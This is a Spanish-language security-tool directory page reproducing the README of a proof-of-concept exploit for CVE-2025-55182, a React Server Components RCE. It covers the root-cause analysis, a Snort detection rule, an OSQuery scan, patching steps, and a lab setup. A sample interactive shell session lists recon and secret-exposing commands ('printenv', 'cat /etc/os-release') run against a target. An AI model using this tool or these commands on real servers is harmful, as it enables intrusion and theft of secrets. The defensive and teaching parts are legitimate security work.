Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 — Exploit de prueba de concepto para CVE-2025-55182, un RCE crítico no autenticado en React Server Components. Incluye exploit automatizado en Python, análisis técnico, reglas de detección y configuración de entorno de laboratorio para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/tinashelorenzi/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDetección de IntrusionesAprendizaje y EducaciónRed TeamingDesarrollo de PayloadsLabs y Práctica
GitHubtinashelorenzi/cve-2025-55182

CVE-2025-55182

Exploit de prueba de concepto para CVE-2025-55182, un RCE crítico no autenticado en React Server Components. Incluye exploit automatizado en Python, análisis técnico, reglas de detección y configuración de entorno de laboratorio para pruebas de seguridad autorizadas.

Ver Repositorio
3hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

React2Shell (CVE-2025-55182) - Prueba de Concepto

Una prueba de concepto integral y recurso educativo para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código que afecta a los Componentes del Servidor React con una puntuación CVSS de 10.0.

Python Version License CVSS

Aviso Legal

SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS

Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal según diversas leyes, incluida la Ley de Fraude y Abuso Informático (CFAA) en los Estados Unidos y legislación similar en todo el mundo.

Debes:

  • Usar esta herramienta solo en sistemas de tu propiedad o para los que tengas autorización explícita por escrito para realizar pruebas
  • Cumplir con todas las leyes locales, estatales y federales aplicables
  • Usar esta herramienta de manera responsable y ética

El autor y los colaboradores:

  • No son responsables de ningún uso indebido o daño causado por esta herramienta
  • No respaldan ni fomentan el acceso no autorizado a sistemas informáticos
  • Proporcionan esta herramienta estrictamente con fines educativos y de seguridad defensiva

Al usar esta herramienta, reconoces que entiendes y aceptas estos términos.

📋 Tabla de Contenidos

  • Resumen
  • Detalles de la Vulnerabilidad
  • Versiones Afectadas
  • Análisis Técnico
  • Instalación
  • Uso
  • Detección
  • Remediación
  • Configuración del Entorno de Laboratorio
  • Referencias
  • Contribuciones
  • Autor

🎯 Resumen

React2Shell es una vulnerabilidad crítica descubierta en diciembre de 2025 que afecta a los Componentes del Servidor React (RSC) y los frameworks que los implementan, particularmente Next.js. La vulnerabilidad permite la ejecución remota de código no autenticada a través de una única solicitud HTTP manipulada.

Este repositorio contiene:

  • ✅ Script de explotación automatizado en Python
  • ✅ Análisis técnico detallado
  • ✅ Reglas de detección (Snort, OSQuery)
  • ✅ Guía de configuración del entorno de laboratorio
  • ✅ Documentación completa

🔍 Detalles de la Vulnerabilidad

CampoDetalles
ID CVECVE-2025-55182
Puntuación CVSS10.0 (Crítica)
Vector de AtaqueRed
Complejidad del AtaqueBaja
Privilegios RequeridosNinguno
Interacción del UsuarioNinguna
ImpactoCompromiso completo del sistema (RCE)
Fecha de DivulgaciónDiciembre 2025

¿Qué hace que esto sea Crítico?

  1. No se Requiere Autenticación - Explotable por cualquier atacante no autenticado
  2. Configuraciones Predeterminadas Vulnerables - Las aplicaciones Next.js estándar creadas con create-next-app son explotables
  3. Alta Fiabilidad - Cerca del 100% de tasa de éxito de explotación
  4. Amplia Superficie de Ataque - Más de 571,000 servidores públicos ejecutando componentes React (datos de Shodan)
  5. Impacto Severo - Ejecución remota de código completa con privilegios del proceso Node.js

📦 Versiones Afectadas

Componentes del Servidor React

Versiones vulnerables:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Versiones parcheadas:

  • React 19.0.1
  • React 19.1.2
  • React 19.2.1

Next.js

Versiones vulnerables:

  • Todas las versiones ≥14.3.0-canary.77
  • Todas las versiones 15.x (antes del parche)
  • Todas las versiones 16.x (antes del parche)

Versiones parcheadas:

  • Consulte los lanzamientos de Next.js para obtener versiones actualizadas que incorporen los parches de React

Otros Frameworks Afectados

  • React Router (cuando se usa en modo RSC)
  • Waku
  • Redwood SDK
  • Varios frameworks con soporte RSC

🔬 Análisis Técnico

Causa Raíz

La vulnerabilidad existe en la función requireModule dentro de la lógica de deserialización de los Componentes del Servidor React:

root@kitploit:~
function requireModule(metadata) {  
  var moduleExports = __webpack_require__(metadata[0]);  
  return moduleExports[metadata[2]];  // LÍNEA VULNERABLE - Recorrido de la cadena de prototipos
}

La falla permite a los atacantes recorrer la cadena de prototipos de JavaScript a través del protocolo React Flight, accediendo al constructor Function mediante propiedades como constructor.constructor, lo que permite la ejecución de código arbitrario.

Cadena de Explotación

  1. Creación de Chunk Falso - El atacante envía datos de formulario multiparte con un objeto chunk manipulado
  2. Contaminación de Prototipos - Explota __proto__ para crear una estructura autorreferencial
  3. Abuso del Manejador de Blob - Desencadena el manejador interno de deserialización de Blob de React
  4. Acceso al Constructor Function - Encadena a través de constructor.constructor para acceder a Function()
  5. Ejecución de Código - Inyecta JavaScript arbitrario mediante child_process.execSync()

Diagrama del Flujo de Ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  El atacante envía multipart/form-data con cabecera Next-Action │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  El servidor deserializa la carga útil mediante el protocolo React Flight │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Se procesa el objeto chunk falso con contaminación de __proto__ │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  El manejador de Blob invoca _formData.get(_prefix + id)    │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Resuelve a Function("código_malicioso")                    │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  Código arbitrario ejecutado con privilegios del proceso Node.js │
└─────────────────────────────────────────────────────────────┘

🚀 Instalación

Requisitos

  • Python 3.7 o superior
  • Librería requests

Configuración

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/tunombredeusuario/react2shell-poc.git
cd react2shell-poc

# Instalar dependencias
pip install -r requirements.txt

# Hacer el script ejecutable (Linux/macOS)
chmod +x react2shell.py

Requirements.txt

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0

💻 Uso

Uso Básico

root@kitploit:~
python3 react2shell.py

Sesión Interactiva

root@kitploit:~
╔═══════════════════════════════════════════════════════════╗
║           React2Shell (CVE-2025-55182) PoC                ║
║                 CVSS 10.0 - RCE Crítica                    ║
║                                                           ║
║  Afectados: React 19.0.0, 19.1.0, 19.1.1, 19.2.0         ║
║           Next.js ≥14.3.0-canary.77, 15.x, 16.x           ║
║                                                           ║
║  Cerberus Secure - Solo para Laboratorio                  ║
╚═══════════════════════════════════════════════════════════╝

[?] Introduce la información del objetivo:
    Host (ej., localhost o 192.168.1.100): localhost
    Puerto (ej., 3000): 3000

[React2Shell]> id
[*] Objetivo: http://localhost:3000/
[*] Comando: id
[*] Construyendo carga útil de explotación...
[*] Enviando solicitud de explotación...
[+] Código de estado de la respuesta: 200
[*] Analizando respuesta...

╔═══════════════════════════════════════════════════════════╗
║                    SALIDA DEL COMANDO                     ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)

[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit

Comandos de Ejemplo

root@kitploit:~
# Reconocimiento del sistema
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release

# Exploración del sistema de archivos
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json

# Variables de entorno (a menudo contienen secretos)
[React2Shell]> printenv
[React2Shell]> echo $PATH

# Información de red
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn

Comandos Disponibles

ComandoDescripción
<cualquier comando de shell>Ejecutar comando en el objetivo
helpMostrar mensaje de ayuda
exit / quit / qSalir de la herramienta

🛡️ Detección

Detección a Nivel de Red (Snort v3)

Implementa esta regla de Snort para detectar intentos de explotación:

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Posible intento de Next.js React2Shell / CVE-2025-55182";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

Lógica de Detección:

  • Monitorea la cabecera Next-Action (específica de RSC)
  • Detecta cargas útiles multipart/form-data
  • Identifica patrones específicos de explotación: name="0", status: "resolved_model", then: "$1:__proto__:then"

Detección en Puntos Finales (OSQuery)

Usa esta regla de OSQuery para escanear versiones vulnerables de paquetes:

root@kitploit:~
{
  "queries": {
    "detect_react2shell_vulnerable_packages": {
      "query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
      "interval": 3600,
      "description": "Detecta versiones vulnerables de paquetes de React Server Components afectados por CVE-2025-55182",
      "platform": "linux,windows,macos",
      "version": "1.0"
    }
  }
}

Beneficios:

  • Escanea puntos finales en busca de paquetes vulnerables
  • Funciona en entornos de desarrollo, preparación y producción
  • Puede integrarse en pipelines CI/CD
  • Proporciona alerta temprana antes del despliegue

Indicadores de Análisis de Registros

Busca estos patrones en los registros de tu aplicación:

root@kitploit:~
- Solicitudes HTTP POST con cabecera "Next-Action"
- Solicitudes inusuales multipart/form-data a la raíz de la aplicación
- Mensajes de error que contienen "NEXT_REDIRECT" con valores digest inesperados
- Pico en errores 500 con trazas de pila relacionadas con React
- Creación de procesos hijos desde Node.js (execSync, spawn, exec)

🔧 Remediación

Acciones Inmediatas

1. Actualizar Paquetes Vulnerables

root@kitploit:~
# Verificar versiones actuales
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack

# Actualizar React a la versión parcheada
npm install [email protected] [email protected]

# Actualizar Next.js a la última versión parcheada
npm install next@latest

# Verificar actualizaciones
npm list react react-dom next

2. Verificar Reconstrucción de la Aplicación

root@kitploit:~
# Limpiar caché y reconstruir
rm -rf .next node_modules package-lock.json
npm install
npm run build

3. Desplegar Aplicaciones Actualizadas

  • Desarrollo: Probar a fondo en el entorno de preparación
  • Preparación: Validar toda la funcionalidad antes de producción
  • Producción: Desplegar con un plan de reversión adecuado

Medidas de Seguridad a Largo Plazo

1. Implementar Reglas de Firewall de Aplicaciones Web (WAF)

Bloquear patrones sospechosos:

root@kitploit:~
- Solicitudes con cabecera "Next-Action" desde fuentes no confiables
- Datos de formulario multiparte con estructuras JSON sospechosas
- Solicitudes que coinciden con patrones de firmas de explotación

2. Segmentación de Red

  • Aislar aplicaciones React en zonas de red separadas
  • Implementar filtrado de salida estricto
  • Monitorear y alertar sobre conexiones salientes inusuales

3. Autoprotección de Aplicaciones en Tiempo de Ejecución (RASP)

  • Implementar soluciones RASP para detectar y bloquear intentos de explotación
  • Monitorear la creación sospechosa de procesos hijos
  • Alertar sobre patrones de ejecución de código inesperados

4. Escaneo de Seguridad en CI/CD

root@kitploit:~
# Ejemplo de flujo de trabajo de GitHub Actions
name: Escaneo de Seguridad
on: [push, pull_request]

jobs:
  dependency-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Verificar paquetes React vulnerables
        run: |
          npm audit --audit-level=critical
          npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack

5. Monitoreo y Alertas

Configurar alertas para:

  • Despliegue de versiones vulnerables de paquetes
  • Patrones de intentos de explotación en registros
  • Creación inesperada de procesos hijos
  • Conexiones de red a destinos sospechosos

🧪 Configuración del Entorno de Laboratorio

Opción 1: Aplicación Next.js Vulnerable

root@kitploit:~
# Crear una nueva aplicación Next.js con versión vulnerable
npx [email protected] vulnerable-app
cd vulnerable-app

# Instalar versión vulnerable de React
npm install [email protected] [email protected]

# Iniciar el servidor de desarrollo
npm run dev

Opción 2: Entorno Docker

Crear un Dockerfile:

root@kitploit:~
FROM node:18-alpine

WORKDIR /app

# Crear una aplicación Next.js básica
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir

WORKDIR /app/vulnerable-app

# Instalar versiones vulnerables de React
RUN npm install [email protected] [email protected]

EXPOSE 3000

CMD ["npm", "run", "dev"]

Construir y ejecutar:

root@kitploit:~
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab

Opción 3: Docker Compose

Crear docker-compose.yml:

root@kitploit:~
version: '3.8'
services:
  vulnerable-app:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=development
    volumes:
      - ./app:/app/vulnerable-app

Ejecutar:

root@kitploit:~
docker-compose up -d

Verificar la Vulnerabilidad

Probar con curl:

root@kitploit:~
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit_payload.txt

📚 Referencias

Avisos de Seguridad Oficiales

  • Aviso de Seguridad de React - CVE-2025-55182
  • Aviso de Seguridad de Next.js
  • NVD - CVE-2025-55182

Investigación y Análisis

  • PoC original de maple3142
  • Investigación de Seguridad de Wiz - Análisis de React2Shell
  • Investigación de Seguridad de Assetnote

Detección y Mitigación

  • Documentación de Snort
  • Documentación de OSQuery
  • Documentación de React Server Components

Vulnerabilidades Relacionadas

  • Log4Shell (CVE-2021-44228) - RCE similar mediante deserialización
  • Spring4Shell (CVE-2022-22965) - RCE a nivel de framework

🤝 Contribuciones

¡Las contribuciones son bienvenidas! Por favor, sigue estas pautas:

  1. Haz un fork del repositorio
  2. Crea una rama de funcionalidad (git checkout -b feature/mejora)
  3. Haz commit de tus cambios (git commit -am 'Añadir nuevo método de detección')
  4. Sube la rama (git push origin feature/mejora)
  5. Crea una Pull Request

Áreas para Contribuir

  • Reglas de detección adicionales (Suricata, Zeek, etc.)
  • Integración con marcos de seguridad (MISP, TheHive, etc.)
  • Variaciones mejoradas de cargas útiles
  • Análisis de salida mejorado
  • Documentación y traducciones adicionales

📝 Licencia

Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

👤 Autor

Tinashe

  • Cargo: Arquitecto de Soluciones de Ciberseguridad
  • Organización: Cerberus Secure / iConnect SA
  • Ubicación: Johannesburgo, Sudáfrica
  • LinkedIn: https://www.linkedin.com/in/tinashe-matanda/
  • GitHub: @tinashelorenzi

Acerca de Cerberus Secure

Cerberus Secure es la división de ciberseguridad de iConnect SA, especializada en:

  • Mitigación de DDoS y seguridad de red
  • Cumplimiento GRC (POPIA, ECT, PCI-DSS, HPCSA)
  • Arquitectura de seguridad y diseño de soluciones
  • Respuesta a incidentes e inteligencia de amenazas
  • Desarrollo de SIEM personalizado (plataforma Olympus)

🙏 Agradecimientos

  • maple3142 - Investigación original de prueba de concepto
  • Investigación de Seguridad de Wiz - Análisis exhaustivo de la vulnerabilidad
  • Assetnote - Técnicas de explotación mejoradas
  • Equipo de React - Respuesta rápida y desarrollo de parches
  • Equipo de Next.js - Implementación de mitigación a nivel de framework

⚖️ Divulgación Responsable

Esta vulnerabilidad fue divulgada de manera responsable por investigadores de seguridad al equipo de React. Esta PoC se publica después de:

  • Que los parches oficiales estén disponibles
  • Que haya transcurrido tiempo suficiente para que las organizaciones actualicen
  • La divulgación pública por parte del equipo de seguridad de React

Cronograma:

  • Diciembre de 2025: Se descubre la vulnerabilidad
  • Diciembre de 2025: Divulgación coordinada al equipo de React
  • Diciembre de 2025: Lanzamiento de parches (19.0.1, 19.1.2, 19.2.1)
  • Diciembre de 2025: Divulgación pública y publicación de PoC

Recuerda: Usa esta herramienta de manera responsable y solo en sistemas que estés autorizado a probar.

Para preguntas, inquietudes o problemas de seguridad con este repositorio, abre un issue o contacta directamente al mantenedor.

Descargar herramienta